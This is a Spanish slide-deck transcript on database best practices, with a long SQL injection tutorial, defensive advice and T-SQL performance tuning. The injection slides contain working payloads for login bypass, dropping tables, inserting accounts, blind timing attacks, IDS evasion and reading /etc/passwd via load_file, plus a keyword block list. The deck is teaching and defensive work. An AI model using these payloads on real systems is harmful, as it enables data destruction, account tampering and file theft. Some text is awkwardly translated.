Introducción a polybase en SQL ServerIntroducción a polybase en SQL Server
Introducción a polybase en SQL Server
 
Creando tu primer ambiente de AI en Azure ML y SQL Server
Creando tu primer ambiente de AI en Azure ML y SQL ServerCreando tu primer ambiente de AI en Azure ML y SQL Server
Creando tu primer ambiente de AI en Azure ML y SQL Server
 
Seguridad en SQL Azure
Seguridad en SQL AzureSeguridad en SQL Azure
Seguridad en SQL Azure
 
Azure Synapse Analytics MLflow
Azure Synapse Analytics MLflowAzure Synapse Analytics MLflow
Azure Synapse Analytics MLflow
 
SQL Server 2019 con Windows Server 2022
SQL Server 2019 con Windows Server 2022SQL Server 2019 con Windows Server 2022
SQL Server 2019 con Windows Server 2022
 
Novedades en SQL Server 2022
Novedades en SQL Server 2022Novedades en SQL Server 2022
Novedades en SQL Server 2022
 
Introduccion a SQL Server 2022
Introduccion a SQL Server 2022Introduccion a SQL Server 2022
Introduccion a SQL Server 2022
 
Machine Learning con Azure Managed Instance
Machine Learning con Azure Managed InstanceMachine Learning con Azure Managed Instance
Machine Learning con Azure Managed Instance
 
Novedades en sql server 2022
Novedades en sql server 2022Novedades en sql server 2022
Novedades en sql server 2022
 
Sql server 2019 con windows server 2022
Sql server 2019 con windows server 2022Sql server 2019 con windows server 2022
Sql server 2019 con windows server 2022
 
Introduccion a databricks
Introduccion a databricksIntroduccion a databricks
Introduccion a databricks
 
Pronosticos con sql server
Pronosticos con sql serverPronosticos con sql server
Pronosticos con sql server
 
Data warehouse con azure synapse analytics
Data warehouse con azure synapse analyticsData warehouse con azure synapse analytics
Data warehouse con azure synapse analytics
 
Que hay de nuevo en el Azure Data Lake Storage Gen2
Que hay de nuevo en el Azure Data Lake Storage Gen2Que hay de nuevo en el Azure Data Lake Storage Gen2
Que hay de nuevo en el Azure Data Lake Storage Gen2
 
Introduccion a Azure Synapse Analytics
Introduccion a Azure Synapse AnalyticsIntroduccion a Azure Synapse Analytics
Introduccion a Azure Synapse Analytics
 
Seguridad de SQL Database en Azure
Seguridad de SQL Database en AzureSeguridad de SQL Database en Azure
Seguridad de SQL Database en Azure
 
Python dentro de SQL Server
Python dentro de SQL ServerPython dentro de SQL Server
Python dentro de SQL Server
 
Servicios Cognitivos de de Microsoft
Servicios Cognitivos de de Microsoft Servicios Cognitivos de de Microsoft
Servicios Cognitivos de de Microsoft
 
Script de paso a paso de configuración de Secure Enclaves
Script de paso a paso de configuración de Secure EnclavesScript de paso a paso de configuración de Secure Enclaves
Script de paso a paso de configuración de Secure Enclaves
 
Introducción a conceptos de SQL Server Secure Enclaves
Introducción a conceptos de SQL Server Secure EnclavesIntroducción a conceptos de SQL Server Secure Enclaves
Introducción a conceptos de SQL Server Secure Enclaves
 

Último

Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITMaricarmen Sánchez Ruiz
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfJulian Lamprea
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxLolaBunny11
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 

Último (10)

Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdf
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptx
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 

Mejores prácticas desarrollo de base de datos

  • 1. Mejores prácticas Desarrollo de Base de Datos Ing. Eduardo Castro, PhD
  • 2. Ing. Eduardo Castro, PhD PASS Board of Directors eduardo.castro@sqlpass.org Microsoft Data Platform MVP Microsoft Data Science Specialization Johns Hopkins University Data Science Specialization Data mining and forecast Specialization
  • 3. Referencias • Conferencia de Socios de TI. Mike Shermanmsherman@mit.edu
  • 4. Ciclo de vida de aplicaciones de base de datos • Planificación de la base de datos • Definición del sistema • Recopilación y análisis de requerimientos • Diseño de base de datos • Diseño de aplicaciones • Pruebas • Implementación • Mantenimiento operativo
  • 5. El trabajo adelantado vale la pena despues! • Identificar la necesidad a ser resuelta por la aplicación. • Determinar si / cómo la nueva aplicación se integrará con los sistemas departamentales e institutos existentes. • Identificar los requisitos de administración y usuarios.
  • 6. Consejos de diseño de base de datos • Elija el DBMS y las herramientas de desarrollo • Los estándares de nomenclatura • Utilizar los identificadores únicos • Claves significativas o no significativas? • Minimizar la redundancia de datos • Garantizar la integridad de datos / datos existente apalancamiento
  • 7. Consideraciones de diseño adicionales • Seguridad de las aplicaciones • Información delicada • Se alimenta o se conecta de los sistemas de la empresa • Aprovechando el almacén de datos
  • 8. Mantenimiento de base de datos Consejos • Documentación, documentación, documentación • Las copias de seguridad - Hot vs Cold • Indices • Monitoreo - Archivos de registro, Rendimiento
  • 9. ¿Qué es la inyección de SQL? • Técnica de inyección • La vulnerabilidad de seguridad • Se dirige a los manipuladores de entrada del usuario
  • 10. 9 ¿Qué es la inyección de SQL? La capacidad de inyectar comandos SQL en el motor de base de a través de una aplicación existente
  • 11. 10 ¿Qué tan común es? • Es probable que sea la vulnerabilidad de web más común hoy en día! • Es un defecto en el desarrollo de "aplicaciones web", que no es un problema en el servidor Web o DB • La mayoría de los programadores no son conscientes de este problema • Una gran cantidad de los tutoriales y "plantillas" de demostración son vulnerables • Lo que es peor, una gran cantidad de soluciones publicadas en Internet no son lo suficientemente buenos • En nuestras pruebas de penetración más del 50% de nuestros clientes llegar a ser vulnerables a la inyección de SQL http://sqlmap.org/
  • 12. 11 Aplicaciones vulnerables • Casi todas las bases de datos SQL y lenguajes de programación son potencialmente vulnerables • MS SQL Server, Oracle, MySQL, PostgreSQL, DB2, MS Access, Sybase, Informix, etc. • Acceder a través de las aplicaciones desarrolladas usando: • scripts de Perl y CGI que acceden a bases de datos • ASP, JSP, PHP • XML, XSL y XSQL • javascript • VB, MFC, y otras herramientas y API basadas en ODBC • DB aplicaciones basadas en Web específicas y API
  • 13. Los ejemplos del mundo real • El 17 de agosto de 2009, el Departamento de Justicia de Estados Unidos acusó a un ciudadano estadounidense Albert González y dos rusos no identificados con el robo de 130 millones de números de tarjetas de crédito utilizando un ataque de inyección SQL. • En 2008 una serie de ataques comenzó la explotación de las vulnerabilidades de inyección SQL de servidor de servidor web IIS y la base de datos SQL de Microsoft. Más de 500.000 sitios fueron explotadas.
  • 14. sintaxis importante COMMENTS: -- Example: SELECT * FROM `table` --selects everything LOGIC: ‘a’=‘a’ Example: SELECT * FROM `table` WHERE ‘a’=‘a’ MULTI STATEMENTS: S1; S2 Example: SELECT * FROM `table`; DROP TABLE `table`;
  • 16.
  • 17. Ejemplo Sitio Web timbo317 cse7330 SELECT * FROM `login` WHERE `user`=‘timbo317’ AND `pass`=‘cse7330’
  • 18. Login Tabla de base de datos usuario contrasena timbo317 cse7330 ¿¿Qué puede salir mal??
  • 19. Ejemplo Hack 'O' a '=' a 'O' a '=' a SELECT * FROM `login` WHERE `user`=‘’ OR ‘a’=‘a’ AND `pass`=‘’ OR ‘a’=‘a’
  • 20. ¡Se pone peor! '; DROP TABLE `login`; - SELECT * FROM `login` WHERE `user`=‘’; DROP TABLE `login`; --’ AND `pass`=‘’
  • 21. Todas las consultas son posibles SELECT * FROM `login` WHERE `user`=‘’; INSERT INTO `login` ('user','pass') VALUES ('haxor','whatever');--’ AND `pass`=‘’ SELECT * FROM `login` WHERE `user`=‘’; UPDATE `login` SET `pass`=‘pass123’ WHERE `user`=‘timbo317’;--’ AND `pass`=‘’
  • 22. Demostración en vivo • http://crackme.cenzic.com/kelev/view/loanrequest.php ¿Cómo se puede evitar que esto ??
  • 23. Prevención • Lógica para permitir que sólo los números / letras en nombre de usuario y contraseña. • ¿Cómo se debe imponer la restricción? LADO DEL SERVIDOR. • "escapar" caracteres malos. 'Se convierte en ' • READ ONLY acceso a la base de datos. • Recuerda que esto no es sólo para las zonas de inicio de sesión! No sólo para los sitios web !!
  • 24. 24 La inyección a través de String formusr = ' or 1=1 – – formpwd = anything Final query would look like this: SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything'
  • 25. 25 El poder de ' • Se cierra el parámetro de cadena • Todo después se considera parte del comando SQL • Engañosas sugerencias de Internet incluyen: • Escapar de ella! : sustituir' con '' • campos de cadena son muy comunes, pero hay otros tipos de campos: • Numérico • fechas
  • 26. 26 Si se tratara de números? SELECT * FROM clients WHERE account = 12345678 AND pin = 1111 PHP/MySQL login syntax $sql = "SELECT * FROM clients WHERE " . "account = $formacct AND " . "pin = $formpin";
  • 27. 27 La inyección de campos numéricos $formacct = 1 or 1=1 # $formpin = 1111 Final query would look like this: SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111
  • 28. 28 Caracteres de inyección SQL • ' o " Indicadores Cadena de caracteres • - o # comentario de una sola línea • / *...* / comentario de varias líneas • + Además, concatenar (o espacio en url) • || (Tubería doble) concatenar • % indicador de atributo comodín • ? Param1 = foo = bar y Param2 Parámetros de URL • IMPRESIÓN útil como comando no transaccional • @variable variable local • @@variable variable global • waitfor retraso "0: 0: 10 ' tiempo de retardo
  • 30. 30 Metodología del probar inyección SQL 1) de validación de entrada 2) Información. Reunión 6) OS Cmd Prompt 7) Ampliar Influencia 4) Extracción de Datos 3) 1 = 1 Ataques 5) Interacción OS
  • 31. 31 1) de validación de entrada 2) Información. Reunión 3) 1 = 1 Ataques 5) Interacción OS 6) OS Cmd Prompt4) Extracción de Datos 7) Ampliar Influencia 1) de validación de entrada
  • 32. 32 Descubrimiento de vulnerabilidades • Las vulnerabilidades pueden estar en cualquier lugar, comprobamos todos los puntos de entrada: • Los campos en los formularios web • Los parámetros de script en las cadenas de consulta URL • Los valores almacenados en las cookies o campos ocultos • Por "fuzzing" insertamos en cada uno: • secuencia de caracteres: ' ") # || +> • palabras reservadas de SQL con delimitadores de espacio en blanco • % 09select (lengüeta09%, Retorno de carro% 13, linea de alimentación% 10 y el espacio% 32 con y, o, actualizar, insertar, exec, Etc) • Delay query 'Waitfor retraso "0: 0: 10' -
  • 33. 33 2) Recopilación de información 2) Información. Reunión 3) 1 = 1 Ataques 5) Interacción OS 6) OS Cmd Prompt4) Extracción de Datos 7) Ampliar Influencia 1) de validación de entrada
  • 34. 34 2) Recopilación de información • Vamos a tratar de averiguar lo siguiente: a) Mecanismos de salida b) Comprender la consulta c) Determinar el tipo de base de datos d) Encontrar el nivel de privilegios del usuario e) Determinar el nivel de interacción OS
  • 35. 35 a) Identificación de mecanismos de salida 1. El uso de conjuntos de resultados de consulta en la aplicación web 2. Error de mensajes • Craft consultas SQL que generan determinados tipos de mensajes de error con valiosa información en ellas 3. Ciego de inyección SQL • Utilizar retardos de tiempo o firmas de error para determinar la información de extracto • Casi las mismas cosas se pueden hacer, pero es inyección oculta mucho más lento y más difícil 4. otros mecanismos • correo electrónico, SMB, FTP, TFTP
  • 36. 36 La extracción de información a través de mensajes de error • La agrupación de error ' group by columnnames having 1=1 - - • No coinciden los tipos • ' union select 1,1,'text',1,1,1 - - • ' union select 1,1, bigint,1,1,1 - - • Dónde 'texto' o bigint están siendo unidos en una int columna • En DBs que permiten subconsultas, una mejor manera es: • ' and 1 in (select 'text' ) - - • En algunos casos es posible que tengamos a CAST o convertir nuestros datos para generar los mensajes de error
  • 37. 37 Inyección ciega • Podemos utilizar diferentes resultados conocidos • ' and condition and '1'='1 • O podemos utilizar sentencias if • '; if condition waitfor delay '0:0:5' -- • '; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1; • Además, podemos ejecutar todo tipo de consultas, pero sin información de depuración! • Obtenemos sí / no sólo respuestas • Podemos extraer ASCII un poco a la vez ... • Muy ruidoso y consume mucho tiempo, pero es posible con herramientas automatizadas como Squeal
  • 39. 39 Técnicas de evasión • Las técnicas de validación y técnicas de evasión de IDS son muy similares • Detección basado en la inyección de SQL es parcialmente posible, pero depende de "firmas" • Las firmas pueden ser fácilmente evadidas • validación de entrada, detección de IDS y fuerte base de datos y sistema operativo endurecimiento se tienen que acoplar
  • 40. 40 IDS Evasion Firma Evading ' OR 1=1 signature • ' OR 'unusual' = 'unusual' • ' OR 'something' = 'some'+'thing' • ' OR 'text' = N'text' • ' OR 'something' like 'some%' • ' OR 2 > 1 • ' OR 'text' > 't' • ' OR 'whatever' IN ('whatever') • ' OR 2 BETWEEN 1 AND 3
  • 41. 41 validación de entradas • Algunas personas usan addslashes () de PHP para escapar caracteres • una frase (') • comillas dobles ( ") • barra inversa () • NUL (el byte NULL) • Esto puede ser fácilmente eludido mediante el uso de sustitutos para cualquiera de los caracteres anteriores en un campo numérico
  • 42. 42 La evasión y la elusión • IDS y la validación de entrada pueden ser eludidas mediante la codificación • Algunas formas de los parámetros de codificación • la codificación URL • Unicode / UTF-8 • Enconding hex • la función char ()
  • 43. 43 MySQL validación de entrada elusión usando Char () • Inject without quotes (string = "%"): • ' or username like char(37); • Inject without quotes (string = "root"): • ' union select * from users where login = char(114,111,111,116); • Load files in unions (string = "/etc/passwd"): • ' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; • Check for existing files (string = "n.ext"): • ' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
  • 44. 44 IDS Evasion Firma utilizando espacios en blanco • UNION SELECT firma es diferente a • UNION SELECT • Tab, carriage return, linefeed or several white spaces may be used • Quitar los espacios podría funcionar aún mejor • 'OR'1' = '1' (Sin espacios) se interpreta correctamente por algunas de las bases de datos SQL más amigables
  • 45. 45 IDS Evasion Firma usando los comentarios • Algunos IDS no son engañados por los espacios en blanco • La utilización de comentarios es la mejor alternativa • / * ... * / se utiliza en SQL99 para delimitar varias filas comentarios • UNION/**/SELECT/**/ • '/**/OR/**/1/**/=/**/1 • Esto también permite difundir la inyección a través de varios campos • USERNAME: ' or 1/* • PASSWORD: */ =1 --
  • 46. 46 IDS Evasion firma mediante la concatenación de cadenas • En MySQL es posible separar las instrucciones con comentarios • UNI/**/ON SEL/**/ECT • O bien, puede concatenar texto y utilizar una instrucción específica para ejecutar DB • Oracle • '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER' • MS SQL • '; EXEC ('SEL' + 'ECT US' + 'ER')
  • 47. La defensa contra la inyección de SQL
  • 48. 49 Defensa de inyección SQL • Es muy sencillo: validación de entradas • El verdadero desafío es hacer las mejores prácticas consistentes a través todas tu codigo • Hacer cumplir "diseño fuerte" en nuevas aplicaciones • Debe auditar sus sitios web existentes y el código fuente • Incluso si usted tiene un diseño hermético, endurecer sus servidores
  • 49. 50 Diseño fuerte • Definir un camino fácil "seguro" para la consulta de datos • Utilizar procedimientos almacenados para interactuar con la base de datos • Llamar a los procedimientos almacenados a través de una API parametrizada • Validar todas las entradas a través de rutinas genéricas • Utilice el principio de "menor privilegio" • Definir varias funciones, una para cada tipo de consulta
  • 50. 51 Validación de entrada • Definir los tipos de datos para cada campo • Aplicar estrictas "permitir que solo buenos" filtros • Si la entrada se supone que debe ser numérico, utilice una variable numérica en el script para almacenarlo • Rechazar una entrada incorrecta en lugar de intentar escapar o modificarla • Aplicar estrictas "malos conocidos" filtros • Por ejemplo: rechazar "select", "insert", "update", "shutdown", "delete", "drop", "--", "'"
  • 51. 52 Harden el servidor 1. DB ejecutar como una cuenta de usuario con privilegios bajos 2. Retire los procedimientos almacenados no utilizados y funcionalidad o restringir el acceso a los administradores 3. Cambiar permisos y eliminar el acceso "público" para los objetos del sistema 4. Auditoría de la contraseña para todas las cuentas de usuario 5. Retirar los servidores vinculados preautenticada 6. Retire protocolos de red no utilizados 7. Cortafuegos el servidor para que los clientes sólo de confianza pueden conectarse a él (por lo general sólo: red administrativa, el servidor web y el servidor de copia de seguridad)
  • 52. 53 Detección y disuasión • Es posible que desee para reaccionar a los intentos de inyección SQL por: • Registro de los intentos • Envío de alertas de correo electrónico • El bloqueo de la IP infractora • El envío de mensajes de error de vuelta de intimidación: • "ADVERTENCIA:. El uso indebido de esta aplicación se ha detectado Se identificó un posible ataque se tomarán acciones legales.". • Consulte con sus abogados para redacción adecuada • Esto debe ser codificada en las secuencias de comandos de validación
  • 53. Análisis de rendimiento de T-SQL y puesta a punto DB es demasiado lento algo está roto Tiempos de espera extraño comportamient o aplicación se bloquea
  • 54. El enfoque • ¿Donde empezar? • ¿Qué herramientas utilizar? • Cómo identificar pesado T-SQL?
  • 55. Analizador de SQL Server y Las huellas de SQL ReadTrace (Utilidad RML) - línea de comando SQL Server Management Studio • sp_who2 y dbcc inputbuffer (<SPID>) • Guiones Herramientas – SQL Server
  • 56. DTA DMV y estadísticas Monitor de actividad de SQL Server Herramientas - SQL Server (2)
  • 57. PSSDiag SQLDiag y PerfStats SQL Nexus Herramientas - SQL Server (3)
  • 58. Panel de rendimiento Herramientas - SQL Server (4) Análisis de rendimiento de Registros (PAL)
  • 59. herramientas de otros fabricantes 3-rd
  • 60. El análisis T-SQL retroactiva antes de SQL Server 2016 ...
  • 61. Vistas de administración dinámica (DMV) • Aclarado de caché cuando: • A mano • SQL Server se reinicia • Las estadísticas se actualizan • presión de memoria • ...
  • 62. Ejemplo DMV - sys.dm_exec_query_plan Los planes de ejecución • Planes de consulta para los lotes almacenados en caché o están ejecutando • sin control de versiones • No hay historial
  • 63. Así que para obtener el plan de ejecución correcta La solución incluye: • código T-SQL re-escritura • Ejemplo: el uso #tmp • sugerencias de consulta • Las guías de plan • Estadística • índices • sp_configure ajustes • ...
  • 64. Así que para obtener historial de planes de ejecución ... • Utilice el software de monitorización del rendimiento • Los planes de ejecución de todas las consultas • Mantenga la historia • Utilizar secuencias de comandos para capturar la historia del DMV • Las huellas de SQL • ...
  • 65. Nueva "característica" - Consulta tienda ... ¿Nuevo enfoque? Community Technology Preview (CTP)
  • 66. Mejores prácticas https://msdn.microsoft.com/en- CA/library/mt604821.aspx#Configure • Utilice últimas SSMS • Utilizar Query Performance Insight Base de datos SQL Azure • Mantenga Consulta tienda ajustar a su carga de trabajo • tamaño máximo • intervalo de recolección • Período de retención (por consulta y en general)
  • 67. Buenas Prácticas (2) • Consulta verificar tienda está recopilando datos de consulta continuamente • cambio de modo silencioso • Evitar el uso de consultas con parámetros para no • Para evitar recompilaciones frecuentes
  • 68. No consultas parametrizadas • Parametrizar consultas en su caso, por ejemplo, envolver las consultas dentro de un procedimiento almacenado. • Utilizar el Optimizar para cargas de trabajo Ad Hoc opción si su carga de trabajo contiene muchos lotes ad-hoc de un solo uso con diferentes planes de consulta. • Comparar el número de distinta query_hash valores con el número total de entradas en sys.query_store_query. Si la relación es cercana a 1 su carga de trabajo ad-hoc genera diferentes consultas. • Aplicar la parametrización forzada, para la base de datos o para un subconjunto de consultas si el número de diferentes planes de ejecución no es muy grande. • Utilice la guía de plan para forzar la parametrización sólo para la consulta seleccionada. • Configurar la parametrización forzada de la base de datos, si hay un pequeño número de diferentes planes de consulta en su carga de trabajo. (Cuando la relación entre el recuento de distintaquery_hash y el número total de entradas en sys.query_store_query es mucho menor que 1.) • Selecciona el Modo de captura consulta AUTO para filtrar automáticamente las consultas ad hoc con el pequeño consumo de recursos.
  • 69. Buenas Prácticas (3) • Evitar la recreación de procedimiento almacenado, función, y el gatillo o cambiar el nombre de bases de datos • Comprobar el estado de los planes habitualmente forzados
  • 70. 71 Conclusión • Inyección SQL es una vulnerabilidad fascinante y peligroso • Todos los lenguajes de programación y todas las bases de datos SQL son potencialmente vulnerables • La protección contra ella requiere • diseño fuerte • la validación de entrada correcta • endurecimiento